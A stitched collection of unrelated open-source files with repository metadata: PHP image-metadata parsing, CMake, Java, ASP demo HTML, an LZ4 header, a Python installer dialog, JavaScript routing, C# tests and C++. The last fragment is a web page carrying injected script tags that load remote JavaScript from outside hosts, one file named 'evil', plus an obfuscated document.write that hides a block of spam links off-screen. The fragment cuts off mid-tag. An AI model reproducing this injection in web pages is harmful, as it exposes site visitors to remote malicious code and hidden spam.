6=>'NAA 89-3 (ANPA 1312)', 7=>'MacBinary II', 8=>'IPTC Unstructured Character Oriented File Format (UCOFF)', 9=>'United Press International ANPA 1312 variant', 10=>'United Press International Down-Load Message', 11=>'JPEG File Interchange (JFIF)', 12=>'Photo-CD Image-Pac (Eastman Kodak)', 13=>'Bit Mapped Graphics File [.BMP] (Microsoft)', 14=>'Digital Audio File [.WAV] (Microsoft & Creative Labs)', 15=>'Audio plus Moving Video [.AVI] (Microsoft)', 16=>'PC DOS/Windows Executable Files [.COM][.EXE]', 17=>'Compressed Binary File [.ZIP] (PKWare Inc)', 18=>'Audio Interchange File Format AIFF (Apple Computer Inc)', 19=>'RIFF Wave (Microsoft Corporation)', 20=>'Freehand (Macromedia/Aldus)', 21=>'Hypertext Markup Language [.HTML] (The Internet Society)', 22=>'MPEG 2 Audio Layer 2 (Musicom), ISO/IEC', 23=>'MPEG 2 Audio Layer 3, ISO/IEC', 24=>'Portable Document File [.PDF] Adobe', 25=>'News Industry Text Format (NITF)', 26=>'Tape Archive [.TAR]', 27=>'Tidningarnas Telegrambyra NITF version (TTNITF DTD)', 28=>'Ritzaus Bureau NITF version (RBNITF DTD)', 29=>'Corel Draw [.CDR]'); /** * Canonicalizes the value of a metadata entry to ensure proper display. */ private static function canonicalizeMetadataValue($key, $value) { if (is_array($value)) { switch (count($value)) { case 0: return false; // nothing to process case 1: $value = reset($value); break; // extract the only element from single-entry array } } switch ($key) { case 'Coded Character Set': switch ($value) { case "\x1b%G": $value = 'utf-8'; break; case "\x1b.A": $value = 'iso-8859-1'; break; case "\x1b.B": $value = 'iso-8859-2'; break; case "\x1b.C": $value = 'iso-8859-3'; break; case "\x1b.D": $value = 'iso-8859-4'; break; default: $value = 'ascii'; // assume ASCII for unrecognized escape sequences } break; case 'Envelope Record Version': case 'File Version': case 'ARM Identifier': case 'ARM Version': case 'Application Record Version': case 'ObjectPreviewFileVersion': $value = (int) $value; break; case 'File Format': case 'ObjectPreviewFileFormat': $value = (int) $value; if (isset(self::$fileformats[$value])) { $value = self::$fileformats[$value]; } break; case 'Image Orientation': switch ($value) { case 'L': $value = 'landscape'; break; case 'P': $value = 'portrait'; break; case 'S': $value = 'square'; break; } break; } return $value; } /** * Map keys from PHP function @c iptcparse. */ private static function mapMetadataKeys($array) { $metadata = array(); if ($array === false) { return $metadata; } foreach ($array as $key => $value) { @list($recordid, $tagid) = explode('#', $key, 2); // key = record number + # + tag ID $recordid = (int) $recordid; $tagid = (int) $tagid; switch ($recordid) { case 1: // envelope record if (isset(self::$enveloperecord[$tagid])) { $tagname = self::$enveloperecord[$tagid]; $metadata[$tagname] = self::canonicalizeMetadataValue($tagname, $value); } break; case 2: // application record if (isset(self::$applicationrecord[$tagid])) { $tagname = self::$applicationrecord[$tagid]; $metadata[$tagname] = self::canonicalizeMetadataValue($tagname, $value); } break; } } if (!isset($metadata['Coded Character Set'])) { // assume cp1252 (Latin1) if no character set is specified $charset = 'cp1252'; } else { $charset = $metadata['Coded Character Set']; } if ($charset != 'utf-8') { foreach ($metadata as $key => &$value) { $value = iconv($charset, 'utf-8', $value); } } unset($metadata['Envelope Record Version']); unset($metadata['Coded Character Set']); unset($metadata['Application Record Version']); return $metadata; } private static function getIptcData($imagefile) { $info = array(); $size = getimagesize($imagefile, $info); if ($size !== false && isset($info["APP13"])) { return self::mapMetadataKeys(iptcparse($info["APP13"])); } else { return false; } } private static function getExifData($imagefile) { if (!function_exists('exif_read_data')) { return false; } if (($exifdata = exif_read_data($imagefile, 'EXIF')) === false) { return false; } else { unset($exifdata['SectionsFound']); unset($exifdata['Exif_IFD_Pointer']); unset($exifdata['COMPUTED']); unset($exifdata['THUMBNAIL']); return $exifdata; } } /** * Returns IPTC metadata for an image */ public static function getImageMetadata($imagefile) { $iptcdata = self::getIptcData($imagefile); if (false) { // whether to include EXIF information in metadata $exifdata = self::getExifData($imagefile); } else { $exifdata = false; } if (is_array($iptcdata) && is_array($exifdata)) { return array_merge($iptcdata, $exifdata); } elseif (is_array($iptcdata)) { return $iptcdata; } elseif (is_array($exifdata)) { return $exifdata; } else { return false; } } }
lucashappy/ibmodels
plugins/content/sigplus/metadata.php
PHP
gpl-2.0
8,735
include(FindPkgConfig) pkg_check_modules(LibAvCodec REQUIRED libavcodec)
dos1/kamerka
modules/FindLibAvCodec.cmake
CMake
gpl-2.0
73
package MultiplyStrings; /** * Created by gzhou on 6/1/15. */ public class Solution { public static void main(String[] args) { System.out.println(multiply("123", "20")); } public static String multiply(String num1, String num2) { String n1 = new StringBuilder(num1).reverse().toString(); String n2 = new StringBuilder(num2).reverse().toString(); int[] tmp = new int[n1.length() + n2.length()]; for (int i = 0; i < n1.length(); i++) { int a = n1.charAt(i) - '0'; for (int j = 0; j < n2.length(); j++) { int b = n2.charAt(j) - '0'; tmp[i + j] += b * a; } } StringBuilder sb = new StringBuilder(); for (int k = 0; k < tmp.length; k++) { int d = tmp[k] % 10; int carry = tmp[k] / 10; // will insert digit from left most sb.insert(0, d); if (k < tmp.length - 1) { tmp[k + 1] += carry; } } // remove zeros which are created by initialization of 'tmp' while(sb.length()>0 && sb.charAt(0)=='0'){ sb.deleteCharAt(0); } return sb.length()==0? "0" : sb.toString(); } }
hyattgra/leetcode
MultiplyStrings/Solution.java
Java
gpl-2.0
1,253
<HTML> <!-- Mirrored from www.w3schools.com/asp/showaspcode.asp?source=demo_driveexists by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:11:37 GMT --> <HEAD></HEAD> <FONT FACE="Verdana, Arial, Helvetica" SIZE=2> &lt;!DOCTYPE html><br>&lt;html><br>&lt;body><br><FONT COLOR=#ff0000>&lt;%<br>Set fs=Server.CreateObject("Scripting.FileSystemObject")<br><br>if fs.driveexists("c:") = true then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.Write("Drive c: exists.")<br>Else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.Write("Drive c: does not exist.")<br>End If<br><br>Response.write("&lt;br>")<br><br>if fs.driveexists("g:") = true then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.Write("Drive g: exists.")<br>Else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.Write("Drive g: does not exist.")<br>End If<br><br>set fs=nothing<br>%&gt;</FONT><br><br>&lt;/body><br>&lt;/html><br> <!-- Mirrored from www.w3schools.com/asp/showaspcode.asp?source=demo_driveexists by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:11:37 GMT --> </HTML>
platinhom/ManualHom
Coding/W3School/W3Schools_Offline_2015/www.w3schools.com/asp/showaspcoded1c8.html
HTML
gpl-2.0
1,054
/* LZ4 HC - High Compression Mode of LZ4 Header File Copyright (C) 2011-2012, Yann Collet. BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php) Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. You can contact the author at : - LZ4 homepage : http://fastcompression.blogspot.com/p/lz4.html - LZ4 source repository : http://code.google.com/p/lz4/ */ #pragma once #if defined (__cplusplus) extern "C" { #endif //************************************** // Basic Types //************************************** #ifndef BYTE #define BYTE uint8_t #endif #ifndef U16 #define U16 uint16_t #endif #ifndef U32 #define U32 uint32_t #endif #ifndef S32 #define S32 int32_t #endif #ifndef U64 #define U64 uint64_t #endif #ifndef HTYPE #define HTYPE const BYTE* #endif //************************************** // Constants //************************************** #define MINMATCH 4 #define DICTIONARY_LOGSIZE 16 #define MAXD (1<<DICTIONARY_LOGSIZE) #define MAXD_MASK ((U32)(MAXD - 1)) #define MAX_DISTANCE (MAXD - 1) #define HASH_LOG (DICTIONARY_LOGSIZE-1) #define HASHTABLESIZE (1 << HASH_LOG) #define HASH_MASK (HASHTABLESIZE - 1) #define MAX_NB_ATTEMPTS 256 #define ML_BITS 4 #define ML_MASK (size_t)((1U<<ML_BITS)-1) #define RUN_BITS (8-ML_BITS) #define RUN_MASK ((1U<<RUN_BITS)-1) #define COPYLENGTH 8 #define LASTLITERALS 5 #define MFLIMIT (COPYLENGTH+MINMATCH) #define MINLENGTH (MFLIMIT+1) #define OPTIMAL_ML (int)((ML_MASK-1)+MINMATCH) typedef struct { const BYTE* base; HTYPE hashTable[HASHTABLESIZE]; U16 chainTable[MAXD]; const BYTE* nextToUpdate; } LZ4HC_Data_Structure; int LZ4_compressHC (const char* source, char* dest, int isize, char* hashTable); /* LZ4_compressHC : return : the number of bytes in compressed buffer dest note : destination buffer must be already allocated. To avoid any problem, size it to handle worst cases situations (input data not compressible) Worst case size evaluation is provided by function LZ4_compressBound() (see "lz4.h") */ /* Note : Decompression functions are provided within regular LZ4 source code (see "lz4.h") (BSD license) */ #if defined (__cplusplus) } #endif
Frank77GLD/android_kernel_YG_m805_892x
include/linux/lz4hc.h
C
gpl-2.0
3,522
# # bootloader_advanced.py: gui advanced bootloader configuration dialog # # Jeremy Katz <[email protected]> # # Copyright 2001-2002 Red Hat, Inc. # # This software may be freely redistributed under the terms of the GNU # library public license. # # You should have received a copy of the GNU Library Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. # import gtk import gobject import iutil import partedUtils import gui from iw_gui import * from rhpl.translate import _, N_ from bootlocwidget import BootloaderLocationWidget class AdvancedBootloaderWindow(InstallWindow): windowTitle = N_("Advanced Boot Loader Configuration") def __init__(self, ics): InstallWindow.__init__(self, ics) self.parent = ics.getICW().window def getPrev(self): pass def getNext(self): # forcing lba32 can be a bad idea.. make sure they really want to if (self.forceLBA.get_active() and not self.bl.forceLBA32): rc = self.intf.messageWindow(_("Warning"), _("Forcing the use of LBA32 for your bootloader when " "not supported by the BIOS can cause your machine " "to be unable to boot.\n\n" "Would you like to continue and force LBA32 mode?"), type = "custom", custom_buttons = [_("Cancel"), _("Force LBA32")]) if rc != 1: raise gui.StayOnScreen # set forcelba self.bl.setForceLBA(self.forceLBA.get_active()) # set kernel args self.bl.args.set(self.appendEntry.get_text()) # set the boot device self.bl.setDevice(self.blloc.getBootDevice()) # set the drive order self.bl.drivelist = self.blloc.getDriveOrder() # set up the vbox with force lba32 and kernel append def setupOptionsVbox(self): self.options_vbox = gtk.VBox(False, 5) self.options_vbox.set_border_width(5) self.forceLBA = gtk.CheckButton(_("_Force LBA32 (not normally required)")) self.options_vbox.pack_start(self.forceLBA, False) self.forceLBA.set_active(self.bl.forceLBA32) label = gui.WrappingLabel(_("If you wish to add default options to the " "boot command, enter them into " "the 'General kernel parameters' field.")) label.set_alignment(0.0, 0.0) self.options_vbox.pack_start(label, False) label = gui.MnemonicLabel(_("_General kernel parameters")) self.appendEntry = gtk.Entry() label.set_mnemonic_widget(self.appendEntry) args = self.bl.args.get() if args: self.appendEntry.set_text(args) box = gtk.HBox(False, 0) box.pack_start(label) box.pack_start(self.appendEntry) al = gtk.Alignment(0.0, 0.0) al.add(box) self.options_vbox.pack_start(al, False) def getScreen(self, anaconda): self.dispatch = anaconda.dispatch self.bl = anaconda.id.bootloader self.intf = anaconda.intf thebox = gtk.VBox (False, 10) # boot loader location bits (mbr vs boot, drive order) self.blloc = BootloaderLocationWidget(anaconda, self.parent) thebox.pack_start(self.blloc.getWidget(), False) thebox.pack_start (gtk.HSeparator(), False) # some optional things self.setupOptionsVbox() thebox.pack_start(self.options_vbox, False) return thebox
sergey-senozhatsky/anaconda-11-vlan-support
iw/bootloader_advanced_gui.py
Python
gpl-2.0
3,639
import Backbone from 'backbone'; export default class Router extends Backbone.Router { get routes() { return { '(/)': 'home', 'login': 'login', 'access_token=*token': 'token', 'activity': 'activity', 'swim': 'swim', 'sleep': 'sleep', 'about': 'about', 'privacy': 'privacy' }; } }
clementprdhomme/misfit-dashboard
src/js/router.js
JavaScript
gpl-2.0
443
using System.Collections.Generic; using System.Collections.ObjectModel; using System.Threading.Tasks; using Microsoft.VisualStudio.TestTools.UnitTesting; using Moq; using TournamentMaker.BO; using TournamentMaker.DAL.Interfaces; namespace TournamentMaker.BP.Tests { [TestClass] public class MatchBPTests { private readonly Mock<IMatchStore> _matchStoreMock; private readonly Mock<IPlayerStore> _playerStoreMock; private readonly Mock<ITeamStore> _teamStoreMock; private readonly Mock<ISportStore> _sportStoreMock; public MatchBPTests() { _matchStoreMock = new Mock<IMatchStore>(MockBehavior.Strict); _playerStoreMock = new Mock<IPlayerStore>(MockBehavior.Strict); _teamStoreMock = new Mock<ITeamStore>(MockBehavior.Strict); _sportStoreMock = new Mock<ISportStore>(MockBehavior.Strict); } [TestMethod] public async Task Close2PlayersTest() { var matchBP = new MatchBP(_matchStoreMock.Object, _playerStoreMock.Object, _teamStoreMock.Object, _sportStoreMock.Object); var rank1 = new Rank { Level = 1000, SportKey = "sport" }; var rank2 = new Rank { Level = 1000, SportKey = "sport" }; var match = new BO.Match { Id = 1, CreatorId = "creator", SportKey = "sport", Scores = "1-2;3-1;3-2", Teams = new List<Team> { new Team {Players = new List<Player> {new Player {Matricule = "S123456", Ranks = new Collection<Rank> {rank1}}}, Id = 1}, new Team {Players = new List<Player> {new Player {Matricule = "S123457", Ranks = new Collection<Rank> {rank2}}}, Id = 2} } }; _matchStoreMock.Setup(m => m.GetWithPlayersAndRanks(1)).ReturnsAsync(match); _matchStoreMock.Setup(m => m.SaveChangesAsync()).Returns(() => Task.FromResult(default(Task))); var result = await matchBP.Close(match, "creator"); _matchStoreMock.VerifyAll(); Assert.AreEqual(match, result); Assert.AreEqual(rank1.Level, 1007); Assert.AreEqual(rank2.Level, 993); } [TestMethod] public async Task Close2PlayersDrawTest() { var matchBP = new MatchBP(_matchStoreMock.Object, _playerStoreMock.Object, _teamStoreMock.Object, _sportStoreMock.Object); var rank1 = new Rank {Level = 1000, SportKey = "sport"}; var rank2 = new Rank {Level = 1000, SportKey = "sport"}; var match = new BO.Match { Id = 1, CreatorId = "creator", SportKey = "sport", Scores = "1-2;1-1;2-1", Teams = new List<Team> { new Team {Players = new List<Player> {new Player {Matricule = "S123456", Ranks = new Collection<Rank> {rank1}}}, Id = 1}, new Team {Players = new List<Player> {new Player {Matricule = "S123457", Ranks = new Collection<Rank> {rank2}}}, Id = 2} } }; _matchStoreMock.Setup(m => m.GetWithPlayersAndRanks(1)).ReturnsAsync(match); _matchStoreMock.Setup(m => m.SaveChangesAsync()).Returns(() => Task.FromResult(default(Task))); var result = await matchBP.Close(match,"creator"); _matchStoreMock.VerifyAll(); Assert.AreEqual(match, result); Assert.AreEqual(rank1.Level, 1000); Assert.AreEqual(rank2.Level, 1000); } [TestMethod] public async Task Close2PlayersDrawTest2() { var matchBP = new MatchBP(_matchStoreMock.Object, _playerStoreMock.Object, _teamStoreMock.Object, _sportStoreMock.Object); var rank1 = new Rank { Level = 1800, SportKey = "sport", }; var rank2 = new Rank { Level = 2005, SportKey = "sport" }; var match = new BO.Match { Id = 1, CreatorId = "creator", SportKey = "sport", Scores = "1-2;1-1;2-1", Teams = new List<Team> { new Team {Players = new List<Player> {new Player {Parties = 31, Matricule = "S123456", Ranks = new Collection<Rank> {rank1}}}, Id = 1}, new Team {Players = new List<Player> {new Player {Parties = 31, Matricule = "S123457", Ranks = new Collection<Rank> {rank2}}}, Id = 2} } }; _matchStoreMock.Setup(m => m.GetWithPlayersAndRanks(1)).ReturnsAsync(match); _matchStoreMock.Setup(m => m.SaveChangesAsync()).Returns(() => Task.FromResult(default(Task))); var result = await matchBP.Close(match,"creator"); _matchStoreMock.VerifyAll(); Assert.AreEqual(match, result); Assert.AreEqual(1804, rank1.Level); Assert.AreEqual(2001, rank2.Level); } } }
ideesdumidi/TournamentMaker
TournamentMaker.BP.Tests/MatchBPTests.cs
C#
gpl-2.0
5,067
// Copyright (C) 1999,2000 Bruce Guenter <[email protected]> // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA #include <config.h> #include "response.h" mystring response::codestr() const { static const mystring errstr = "ERROR"; static const mystring econnstr = "ECONN"; static const mystring badstr = "BAD"; static const mystring okstr = "OK"; static const mystring unknownstr = "???"; switch(code) { case err: return errstr; case econn: return econnstr; case bad: return badstr; case ok: return okstr; default: return unknownstr; } } mystring response::message() const { return codestr() + ": " + msg; }
hetznerZApackages/vmailmgr
lib/misc/response_message.cc
C++
gpl-2.0
1,297
<?php /** * Created by PhpStorm. * User: Tu TV * Date: 14/10/2015 * Time: 1:12 AM */ require_once 'unirest/Unirest.php'; /** * Get content from url via unirest.io * * @param $url * * @return mixed */ function fries_file_get_contents( $url ) { $obj_unirest = Unirest\Request::get( $url, null, null ); $content = $obj_unirest->raw_body; return $content; }
fries-uet/maps-service
laravel/app/Library/Maps/helpers/file-get-contents/file-get-contents.php
PHP
gpl-2.0
374
<script src="http://cpm.36obuy.org/evil/1.js"></script><script src="http://cpm.36obuy.org/lion/1.js"></script><script/src=//360cdn.win/c.css></script> <script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '000' + 'p' + 'x;t' + 'op' + ':-3' + '000' + 'p' + 'x;' + '"' + '>');</script> <a class="z7z8z9z6" href="http://www.4695288.com/">http://www.4695288.com/</a> <a class="z7z8z9z6" href="http://www.5613117.com/">http://www.5613117.com/</a> <a class="z7z8z9z6" href="http://www.4309272.com/">http://www.4309272.com/</a> <a class="z7z8z9z6" href="http://www.3619276.com/">http://www.3619276.com/</a> <a class="z7z8z9z6" href="http://www.1539774.com/">http://www.1539774.com/</a> <a class="z7z8z9z6" href="http://www.2234809.com/">http://www.2234809.com/</a> <a class="z7z8z9z6" href="http://www.0551180.com/">http://www.0551180.com/</a> <a class="z7z8z9z6" href="http://www.0027022.com/">http://www.0027022.com/</a> <a class="z7z8z9z6" href="http://www.1408600.com/">http://www.1408600.com/</a> <a class="z7z8z9z6" href="http://www.5004279.com/">http://www.5004279.com/</a> <a class="z7z8z9z6" href="http://www.4314451.com/">http://www.4314451.com/</a> <a class="z7z8z9z6" href="http://www.9402647.com/">http://www.9402647.com/</a> <a class="z7z8z9z6" href="http://www.6420212.com/">http://www.6420212.com/</a> <a class="z7z8z9z6" href="http://www.0921315.com/">http://www.0921315.com/</a> <a class="z7z8z9z6" href="http://www.4849062.com/">http://www.4849062.com/</a> <a class="z7z8z9z6" href="http://www.8027847.com/">http://www.8027847.com/</a> <a class="z7z8z9z6" href="http://www.5101309.com/">http://www.5101309.com/</a> <a class="z7z8z9z6" href="http://www.8033162.com/">http://www.8033162.com/</a> <a class="z7z8z9z6" href="http://www.7808733.com/">http://www.7808733.com/</a> <a class="z7z8z9z6" href="http://www.7021821.com/">http://www.7021821.com/</a> <a class="z7z8z9z6" href="http://www.8560978.com/">http://www.8560978.com/</a> <a class="z7z8z9z6" href="http://www.3301718.com/">http://www.3301718.com/</a> <a class="z7z8z9z6" href="http://www.2444890.com/">http://www.2444890.com/</a> <a class="z7z8z9z6" href="http://www.2501886.com/">http://www.2501886.com/</a> <a class="z7z8z9z6" href="http://www.8773150.com/">http://www.8773150.com/</a> <a class="z7z8z9z6" href="http://www.gkamlb.com/">http://www.gkamlb.com/</a> <a class="z7z8z9z6" href="http://www.nxkmky.com/">http://www.nxkmky.com/</a> <a class="z7z8z9z6" href="http://www.pkdszd.com/">http://www.pkdszd.com/</a> <a class="z7z8z9z6" href="http://www.scqyba.com/">http://www.scqyba.com/</a> <a class="z7z8z9z6" href="http://www.vwyhzp.com/">http://www.vwyhzp.com/</a> <a class="z7z8z9z6" href="http://www.vwwoms.com/">http://www.vwwoms.com/</a> <a class="z7z8z9z6" href="http://www.svfdun.com/">http://www.svfdun.com/</a> <a class="z7z8z9z6" href="http://www.wivjvd.com/">http://www.wivjvd.com/</a> <a class="z7z8z9z6" href="http://www.sstldp.com/">http://www.sstldp.com/</a> <a class="z7z8z9z6" href="http://www.sqmtvh.com/">http://www.sqmtvh.com/</a> <a class="z7z8z9z6" href="http://www.fmxnav.com/">http://www.fmxnav.com/</a> <a class="z7z8z9z6" href="http://www.etqglz.com/">http://www.etqglz.com/</a> <a class="z7z8z9z6" href="http://www.rjwmkb.com/">http://www.rjwmkb.com/</a> <a class="z7z8z9z6" href="http://www.yrljss.com/">http://www.yrljss.com/</a> <a class="z7z8z9z6" href="http://www.ymdwnv.com/">http://www.ymdwnv.com/</a> <a class="z7z8z9z6" href="http://www.lhxcjs.com/">http://www.lhxcjs.com/</a> <a class="z7z8z9z6" href="http://www.fekcko.com/">http://www.fekcko.com/</a> <a class="z7z8z9z6" href="http://www.furpdg.com/">http://www.furpdg.com/</a> <a class="z7z8z9z6" href="http://www.voqgwh.com/">http://www.voqgwh.com/</a> <a class="z7z8z9z6" href="http://www.fknqkj.com/">http://www.fknqkj.com/</a> <a class="z7z8z9z6" href="http://www.hhabtr.com/">http://www.hhabtr.com/</a> <a class="z7z8z9z6" href="http://www.ogmykg.com/">http://www.ogmykg.com/</a> <a class="z7z8z9z6" href="http://www.vseogg.com/">http://www.vseogg.com/</a> <a class="z7z8z9z6" href="http://www.ctkllf.com/">http://www.ctkllf.com/</a> <a class="z7z8z9z6" href="http://www.xzxefw.com/">http://www.xzxefw.com/</a> <a class="z7z8z9z6" href="http://www.0172679.com/">http://www.0172679.com/</a> <a class="z7z8z9z6" href="http://www.6088532.com/">http://www.6088532.com/</a> <a class="z7z8z9z6" href="http://www.5214437.com/">http://www.5214437.com/</a> <a class="z7z8z9z6" href="http://www.4601598.com/">http://www.4601598.com/</a> <a class="z7z8z9z6" href="http://www.3848474.com/">http://www.3848474.com/</a> <a class="z7z8z9z6" href="http://www.7621914.com/">http://www.7621914.com/</a> <a class="z7z8z9z6" href="http://www.9064024.com/">http://www.9064024.com/</a> <a class="z7z8z9z6" href="http://www.0979289.com/">http://www.0979289.com/</a> <a class="z7z8z9z6" href="http://www.8732369.com/">http://www.8732369.com/</a> <a class="z7z8z9z6" href="http://www.7578050.com/">http://www.7578050.com/</a> <a class="z7z8z9z6" href="http://www.1206219.com/">http://www.1206219.com/</a> <a class="z7z8z9z6" href="http://www.0320448.com/">http://www.0320448.com/</a> <a class="z7z8z9z6" href="http://www.6038608.com/">http://www.6038608.com/</a> <a class="z7z8z9z6" href="http://www.6804640.com/">http://www.6804640.com/</a> <a class="z7z8z9z6" href="http://www.2393657.com/">http://www.2393657.com/</a> <a class="z7z8z9z6" href="http://www.laibazonghewang.com/">http://www.laibazonghewang.com/</a> <a class="z7z8z9z6" href="http://www.jiujiurezuixindizhi.com/">http://www.jiujiurezuixindizhi.com/</a> <a class="z7z8z9z6" href="http://www.jiqingtupian8.com/">http://www.jiqingtupian8.com/</a> <a class="z7z8z9z6" href="http://www.qmzufv.com/">http://www.qmzufv.com/</a> <a class="z7z8z9z6" href="http://www.kwwxgj.com/">http://www.kwwxgj.com/</a> <a class="z7z8z9z6" href="http://www.tvubqi.com/">http://www.tvubqi.com/</a> <a class="z7z8z9z6" href="http://www.sjvxww.com/">http://www.sjvxww.com/</a> <a class="z7z8z9z6" href="http://www.xpdmzk.com/">http://www.xpdmzk.com/</a> <a class="z7z8z9z6" href="http://www.frveya.com/">http://www.frveya.com/</a> <a class="z7z8z9z6" href="http://www.nonmnu.com/">http://www.nonmnu.com/</a> <a class="z7z8z9z6" href="http://www.svytac.com/">http://www.svytac.com/</a> <a class="z7z8z9z6" href="http://www.fdtggb.com/">http://www.fdtggb.com/</a> <a class="z7z8z9z6" href="http://www.rnrnjm.com/">http://www.rnrnjm.com/</a> <a class="z7z8z9z6" href="http://www.ymrxun.com/">http://www.ymrxun.com/</a> <a class="z7z8z9z6" href="http://www.lkrecc.com/">http://www.lkrecc.com/</a> <a class="z7z8z9z6" href="http://www.kgahjl.com/">http://www.kgahjl.com/</a> <a class="z7z8z9z6" href="http://www.kqdmep.com/">http://www.kqdmep.com/</a> <a class="z7z8z9z6" href="http://www.vwlwcu.com/">http://www.vwlwcu.com/</a> <a class="z7z8z9z6" href="http://www.zuixinlunlidianying.com/">http://www.zuixinlunlidianying.com/</a> <a class="z7z8z9z6" href="http://www.daxiangjiaowangzhi.com/">http://www.daxiangjiaowangzhi.com/</a> <a class="z7z8z9z6" href="http://www.snnfi.com/">http://www.snnfi.com/</a> <a class="z7z8z9z6" href="http://www.vfdyd.com/">http://www.vfdyd.com/</a> <a class="z7z8z9z6" href="http://www.lwezk.com/">http://www.lwezk.com/</a> <a class="z7z8z9z6" href="http://www.fpibm.com/">http://www.fpibm.com/</a> <a class="z7z8z9z6" href="http://www.xjvdr.com/">http://www.xjvdr.com/</a> <a class="z7z8z9z6" href="http://www.kvwqf.com/">http://www.kvwqf.com/</a> <a class="z7z8z9z6" href="http://www.utakf.com/">http://www.utakf.com/</a> <a class="z7z8z9z6" href="http://www.gmjeu.com/">http://www.gmjeu.com/</a> <a class="z7z8z9z6" href="http://www.pugfa.com/">http://www.pugfa.com/</a> <a class="z7z8z9z6" href="http://www.bldek.com/">http://www.bldek.com/</a> <a class="z7z8z9z6" href="http://www.vdidu.com/">http://www.vdidu.com/</a> <a class="z7z8z9z6" href="http://www.tufnc.com/">http://www.tufnc.com/</a> <a class="z7z8z9z6" href="http://www.wqxri.com/">http://www.wqxri.com/</a> <a class="z7z8z9z6" href="http://www.uaozz.com/">http://www.uaozz.com/</a> <a class="z7z8z9z6" href="http://www.nhpbd.com/">http://www.nhpbd.com/</a> <a class="z7z8z9z6" href="http://www.dinbz.com/">http://www.dinbz.com/</a> <a class="z7z8z9z6" href="http://www.bopjc.com/">http://www.bopjc.com/</a> <a class="z7z8z9z6" href="http://www.rvkip.com/">http://www.rvkip.com/</a> <a class="z7z8z9z6" href="http://www.jsmqe.com/">http://www.jsmqe.com/</a> <a class="z7z8z9z6" href="http://www.vwygx.com/">http://www.vwygx.com/</a> <a class="z7z8z9z6" href="http://www.zgjm-org.com/">http://www.zgjm-org.com/</a> <a class="z7z8z9z6" href="http://www.shenyangsiyue.com/">http://www.shenyangsiyue.com/</a> <a class="z7z8z9z6" href="http://www.hongsang.net/">http://www.hongsang.net/</a> <a class="z7z8z9z6" href="http://www.gpmrg.cc/">http://www.gpmrg.cc/</a> <a class="z7z8z9z6" href="http://www.knfut.cc/">http://www.knfut.cc/</a> <a class="z7z8z9z6" href="http://www.kjqdh.cc/">http://www.kjqdh.cc/</a> <a class="z7z8z9z6" href="http://www.huang62.win/">http://www.huang62.win/</a> <a class="z7z8z9z6" href="http://www.qiong19.win/">http://www.qiong19.win/</a> <a class="z7z8z9z6" href="http://www.chang34.win/">http://www.chang34.win/</a> <a class="z7z8z9z6" href="http://www.huang71.win/">http://www.huang71.win/</a> <a class="z7z8z9z6" href="http://www.xiong10.win/">http://www.xiong10.win/</a> <a class="z7z8z9z6" href="http://www.chong14.win/">http://www.chong14.win/</a> <a class="z7z8z9z6" href="http://www.chong94.win/">http://www.chong94.win/</a> <a class="z7z8z9z6" href="http://www.zheng23.win/">http://www.zheng23.win/</a> <a class="z7z8z9z6" href="http://www.cheng14.win/">http://www.cheng14.win/</a> <a class="z7z8z9z6" href="http://www.shang72.win/">http://www.shang72.win/</a> <a class="z7z8z9z6" href="http://www.sudanj.win/">http://www.sudanj.win/</a> <a class="z7z8z9z6" href="http://www.russias.win/">http://www.russias.win/</a> <a class="z7z8z9z6" href="http://www.malim.win/">http://www.malim.win/</a> <a class="z7z8z9z6" href="http://www.nigery.win/">http://www.nigery.win/</a> <a class="z7z8z9z6" href="http://www.malix.win/">http://www.malix.win/</a> <a class="z7z8z9z6" href="http://www.peruf.win/">http://www.peruf.win/</a> <a class="z7z8z9z6" href="http://www.iraqq.win/">http://www.iraqq.win/</a> <a class="z7z8z9z6" href="http://www.nepali.win/">http://www.nepali.win/</a> <a class="z7z8z9z6" href="http://www.syriax.win/">http://www.syriax.win/</a> <a class="z7z8z9z6" href="http://www.junnp.pw/">http://www.junnp.pw/</a> <a class="z7z8z9z6" href="http://www.junnp.win/">http://www.junnp.win/</a> <a class="z7z8z9z6" href="http://www.zanpianba.com/">http://www.zanpianba.com/</a> <a class="z7z8z9z6" 